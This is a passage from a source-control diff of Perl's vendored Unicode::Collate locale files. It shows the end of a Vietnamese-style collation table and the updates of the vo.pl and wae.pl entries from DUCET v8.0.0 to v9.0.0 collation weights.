+0114      ; [.1CAA.0020.0008][.0000.0026.0002][.0000.00F4.0000] # LATIN CAPITAL LETTER E WITH BREVE
+012D      ; [.1D32.0020.0002][.0000.0026.0002][.0000.00F4.0000] # LATIN SMALL LETTER I WITH BREVE
+012C      ; [.1D32.0020.0008][.0000.0026.0002][.0000.00F4.0000] # LATIN CAPITAL LETTER I WITH BREVE
+014F      ; [.1DDD.0020.0002][.0000.0026.0002][.0000.00F4.0000] # LATIN SMALL LETTER O WITH BREVE
+014E      ; [.1DDD.0020.0008][.0000.0026.0002][.0000.00F4.0000] # LATIN CAPITAL LETTER O WITH BREVE
+016D      ; [.1EB5.0020.0002][.0000.0026.0002][.0000.00F4.0000] # LATIN SMALL LETTER U WITH BREVE
+016C      ; [.1EB5.0020.0008][.0000.0026.0002][.0000.00F4.0000] # LATIN CAPITAL LETTER U WITH BREVE
+0103      ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH BREVE
+0061 0306 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH BREVE
+0102      ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH BREVE
+0041 0306 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH BREVE
+1EB1      ; [.1C48.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH BREVE AND GRAVE
+1EB0      ; [.1C48.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH BREVE AND GRAVE
+1EAF      ; [.1C48.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER A WITH BREVE AND ACUTE
+1EAE      ; [.1C48.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER A WITH BREVE AND ACUTE
+1EB5      ; [.1C48.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER A WITH BREVE AND TILDE
+1EB4      ; [.1C48.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER A WITH BREVE AND TILDE
+1EB3      ; [.1C48.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE
+1EB2      ; [.1C48.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE
+1EB7      ; [.1C48.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER A WITH BREVE AND DOT BELOW
+1EB6      ; [.1C48.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW
+00E2      ; [.1C49.0020.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX
+0061 0302 ; [.1C49.0020.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX
+00C2      ; [.1C49.0020.0008] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX
+0041 0302 ; [.1C49.0020.0008] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX
+1EA7      ; [.1C49.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE
+1EA6      ; [.1C49.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE
+1EA5      ; [.1C49.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE
+1EA4      ; [.1C49.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE
+1EAB      ; [.1C49.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE
+1EAA      ; [.1C49.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE
+1EA9      ; [.1C49.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
+1EA8      ; [.1C49.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
+1EAD      ; [.1C49.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW
+1EAC      ; [.1C49.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW
+0111      ; [.1C90.0020.0002] # LATIN SMALL LETTER D WITH STROKE
+0064 0335 ; [.1C90.0020.0002] # LATIN SMALL LETTER D WITH STROKE
+0110      ; [.1C90.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE
+0044 0335 ; [.1C90.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE
+00EA      ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+0065 0302 ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+00CA      ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+0045 0302 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+1EC1      ; [.1CAB.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+1EC0      ; [.1CAB.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+1EBF      ; [.1CAB.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+1EBE      ; [.1CAB.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+1EC5      ; [.1CAB.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC4      ; [.1CAB.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC3      ; [.1CAB.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC2      ; [.1CAB.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC7      ; [.1CAB.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+1EC6      ; [.1CAB.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+00F4      ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
+006F 0302 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
+00D4      ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
+004F 0302 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
+1ED3      ; [.1DDE.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
+1ED2      ; [.1DDE.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
+1ED1      ; [.1DDE.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
+1ED0      ; [.1DDE.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
+1ED7      ; [.1DDE.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
+1ED6      ; [.1DDE.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
+1ED5      ; [.1DDE.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+1ED4      ; [.1DDE.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+1ED9      ; [.1DDE.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+1ED8      ; [.1DDE.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+01A1      ; [.1DDF.0020.0002] # LATIN SMALL LETTER O WITH HORN
+006F 031B ; [.1DDF.0020.0002] # LATIN SMALL LETTER O WITH HORN
+01A0      ; [.1DDF.0020.0008] # LATIN CAPITAL LETTER O WITH HORN
+004F 031B ; [.1DDF.0020.0008] # LATIN CAPITAL LETTER O WITH HORN
+1EDD      ; [.1DDF.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH HORN AND GRAVE
+1EDC      ; [.1DDF.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH HORN AND GRAVE
+1EDB      ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER O WITH HORN AND ACUTE
+1EDA      ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER O WITH HORN AND ACUTE
+1EE1      ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER O WITH HORN AND TILDE
+1EE0      ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER O WITH HORN AND TILDE
+1EDF      ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER O WITH HORN AND HOOK ABOVE
+1EDE      ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER O WITH HORN AND HOOK ABOVE
+1EE3      ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER O WITH HORN AND DOT BELOW
+1EE2      ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW
+01B0      ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH HORN
+0075 031B ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH HORN
+01AF      ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH HORN
+0055 031B ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH HORN
+1EEB      ; [.1EB6.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH HORN AND GRAVE
+1EEA      ; [.1EB6.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH HORN AND GRAVE
+1EE9      ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER U WITH HORN AND ACUTE
+1EE8      ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER U WITH HORN AND ACUTE
+1EEF      ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER U WITH HORN AND TILDE
+1EEE      ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER U WITH HORN AND TILDE
+1EED      ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER U WITH HORN AND HOOK ABOVE
+1EEC      ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER U WITH HORN AND HOOK ABOVE
+1EF1      ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER U WITH HORN AND DOT BELOW
+1EF0      ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW
+1EA1 0306 ; [.1C48.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER A WITH DOT BELOW, COMBINING BREVE>
+1EA0 0306 ; [.1C48.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER A WITH DOT BELOW, COMBINING BREVE>
+1EA1 0302 ; [.1C49.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER A WITH DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
+1EA0 0302 ; [.1C49.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER A WITH DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
+1EB9 0302 ; [.1CAB.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER E WITH DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
+1EB8 0302 ; [.1CAB.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER E WITH DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
+1ECD 0302 ; [.1DDE.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER O WITH DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
+1ECC 0302 ; [.1DDE.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER O WITH DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
+00F2 031B ; [.1DDF.0020.0002][.0000.0025.0002] # <LATIN SMALL LETTER O WITH GRAVE, COMBINING HORN>
+1ECF 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F0.0000] # <LATIN SMALL LETTER O WITH HOOK ABOVE, COMBINING HORN>
+00F5 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F1.0000] # <LATIN SMALL LETTER O WITH TILDE, COMBINING HORN>
+00F3 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F2.0000] # <LATIN SMALL LETTER O WITH ACUTE, COMBINING HORN>
+1ECD 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER O WITH DOT BELOW, COMBINING HORN>
+00D2 031B ; [.1DDF.0020.0008][.0000.0025.0002] # <LATIN CAPITAL LETTER O WITH GRAVE, COMBINING HORN>
+1ECE 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F0.0000] # <LATIN CAPITAL LETTER O WITH HOOK ABOVE, COMBINING HORN>
+00D5 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F1.0000] # <LATIN CAPITAL LETTER O WITH TILDE, COMBINING HORN>
+00D3 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F2.0000] # <LATIN CAPITAL LETTER O WITH ACUTE, COMBINING HORN>
+1ECC 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER O WITH DOT BELOW, COMBINING HORN>
+00F9 031B ; [.1EB6.0020.0002][.0000.0025.0002] # <LATIN SMALL LETTER U WITH GRAVE, COMBINING HORN>
+1EE7 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F0.0000] # <LATIN SMALL LETTER U WITH HOOK ABOVE, COMBINING HORN>
+0169 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F1.0000] # <LATIN SMALL LETTER U WITH TILDE, COMBINING HORN>
+00FA 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F2.0000] # <LATIN SMALL LETTER U WITH ACUTE, COMBINING HORN>
+1EE5 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER U WITH DOT BELOW, COMBINING HORN>
+00D9 031B ; [.1EB6.0020.0008][.0000.0025.0002] # <LATIN CAPITAL LETTER U WITH GRAVE, COMBINING HORN>
+1EE6 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F0.0000] # <LATIN CAPITAL LETTER U WITH HOOK ABOVE, COMBINING HORN>
+0168 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F1.0000] # <LATIN CAPITAL LETTER U WITH TILDE, COMBINING HORN>
+00DA 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F2.0000] # <LATIN CAPITAL LETTER U WITH ACUTE, COMBINING HORN>
+1EE4 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER U WITH DOT BELOW, COMBINING HORN>
+0061 0323 0306 ; [.1C48.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER A, COMBINING DOT BELOW, COMBINING BREVE>
+0041 0323 0306 ; [.1C48.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER A, COMBINING DOT BELOW, COMBINING BREVE>
+0061 0323 0302 ; [.1C49.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER A, COMBINING DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
+0041 0323 0302 ; [.1C49.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER A, COMBINING DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
+0065 0323 0302 ; [.1CAB.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER E, COMBINING DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
+0045 0323 0302 ; [.1CAB.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER E, COMBINING DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
+006F 0323 0302 ; [.1DDE.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER O, COMBINING DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
+004F 0323 0302 ; [.1DDE.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER O, COMBINING DOT BELOW, COMBINING CIRCUMFLEX ACCENT>
+006F 0300 031B ; [.1DDF.0020.0002][.0000.0025.0002] # <LATIN SMALL LETTER O, COMBINING GRAVE ACCENT, COMBINING HORN>
+006F 0340 031B ; [.1DDF.0020.0002][.0000.0025.0002] # <LATIN SMALL LETTER O, COMBINING GRAVE TONE MARK, COMBINING HORN>
+006F 0309 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F0.0000] # <LATIN SMALL LETTER O, COMBINING HOOK ABOVE, COMBINING HORN>
+006F 0303 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F1.0000] # <LATIN SMALL LETTER O, COMBINING TILDE, COMBINING HORN>
+006F 0301 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F2.0000] # <LATIN SMALL LETTER O, COMBINING ACUTE ACCENT, COMBINING HORN>
+006F 0341 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F2.0000] # <LATIN SMALL LETTER O, COMBINING ACUTE TONE MARK, COMBINING HORN>
+006F 0323 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER O, COMBINING DOT BELOW, COMBINING HORN>
+004F 0300 031B ; [.1DDF.0020.0008][.0000.0025.0002] # <LATIN CAPITAL LETTER O, COMBINING GRAVE ACCENT, COMBINING HORN>
+004F 0340 031B ; [.1DDF.0020.0008][.0000.0025.0002] # <LATIN CAPITAL LETTER O, COMBINING GRAVE TONE MARK, COMBINING HORN>
+004F 0309 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F0.0000] # <LATIN CAPITAL LETTER O, COMBINING HOOK ABOVE, COMBINING HORN>
+004F 0303 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F1.0000] # <LATIN CAPITAL LETTER O, COMBINING TILDE, COMBINING HORN>
+004F 0301 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F2.0000] # <LATIN CAPITAL LETTER O, COMBINING ACUTE ACCENT, COMBINING HORN>
+004F 0341 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F2.0000] # <LATIN CAPITAL LETTER O, COMBINING ACUTE TONE MARK, COMBINING HORN>
+004F 0323 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER O, COMBINING DOT BELOW, COMBINING HORN>
+0075 0300 031B ; [.1EB6.0020.0002][.0000.0025.0002] # <LATIN SMALL LETTER U, COMBINING GRAVE ACCENT, COMBINING HORN>
+0075 0340 031B ; [.1EB6.0020.0002][.0000.0025.0002] # <LATIN SMALL LETTER U, COMBINING GRAVE TONE MARK, COMBINING HORN>
+0075 0309 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F0.0000] # <LATIN SMALL LETTER U, COMBINING HOOK ABOVE, COMBINING HORN>
+0075 0303 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F1.0000] # <LATIN SMALL LETTER U, COMBINING TILDE, COMBINING HORN>
+0075 0301 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F2.0000] # <LATIN SMALL LETTER U, COMBINING ACUTE ACCENT, COMBINING HORN>
+0075 0341 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F2.0000] # <LATIN SMALL LETTER U, COMBINING ACUTE TONE MARK, COMBINING HORN>
+0075 0323 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F3.0000] # <LATIN SMALL LETTER U, COMBINING DOT BELOW, COMBINING HORN>
+0055 0300 031B ; [.1EB6.0020.0008][.0000.0025.0002] # <LATIN CAPITAL LETTER U, COMBINING GRAVE ACCENT, COMBINING HORN>
+0055 0340 031B ; [.1EB6.0020.0008][.0000.0025.0002] # <LATIN CAPITAL LETTER U, COMBINING GRAVE TONE MARK, COMBINING HORN>
+0055 0309 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F0.0000] # <LATIN CAPITAL LETTER U, COMBINING HOOK ABOVE, COMBINING HORN>
+0055 0303 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F1.0000] # <LATIN CAPITAL LETTER U, COMBINING TILDE, COMBINING HORN>
+0055 0301 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F2.0000] # <LATIN CAPITAL LETTER U, COMBINING ACUTE ACCENT, COMBINING HORN>
+0055 0341 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F2.0000] # <LATIN CAPITAL LETTER U, COMBINING ACUTE TONE MARK, COMBINING HORN>
+0055 0323 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F3.0000] # <LATIN CAPITAL LETTER U, COMBINING DOT BELOW, COMBINING HORN>
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/vo.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/vo.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/vo.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,29 +1,29 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-00E4      ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-0061 0308 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-00C4      ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-0041 0308 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-01DF      ; [.1BC3.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
-01DE      ; [.1BC3.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
-00F6      ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-00D6      ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1D59.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1D59.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-00FC      ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-01DC      ; [.1E31.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E31.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01D8      ; [.1E31.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E31.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01D6      ; [.1E31.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E31.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-01DA      ; [.1E31.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E31.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+00E4      ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4      ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF      ; [.1C48.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE      ; [.1C48.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+00F6      ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1DDE.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1DDE.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+00FC      ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC      ; [.1EB6.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1EB6.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8      ; [.1EB6.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1EB6.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6      ; [.1EB6.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1EB6.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA      ; [.1EB6.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1EB6.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/wae.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/wae.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/wae.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,24 +1,24 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0061 0061 ; [.1BC2.0020.0002][.0000.0024.0002] # <LATIN SMALL LETTER A, LATIN SMALL LETTER A>
-00E4 00E4 ; [.1BC2.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER A WITH DIAERESIS, LATIN SMALL LETTER A WITH DIAERESIS>
-00E4 0061 0308 ; [.1BC2.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER A WITH DIAERESIS, LATIN SMALL LETTER A, COMBINING DIAERESIS>
-0061 0308 00E4 ; [.1BC2.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER A, COMBINING DIAERESIS, LATIN SMALL LETTER A WITH DIAERESIS>
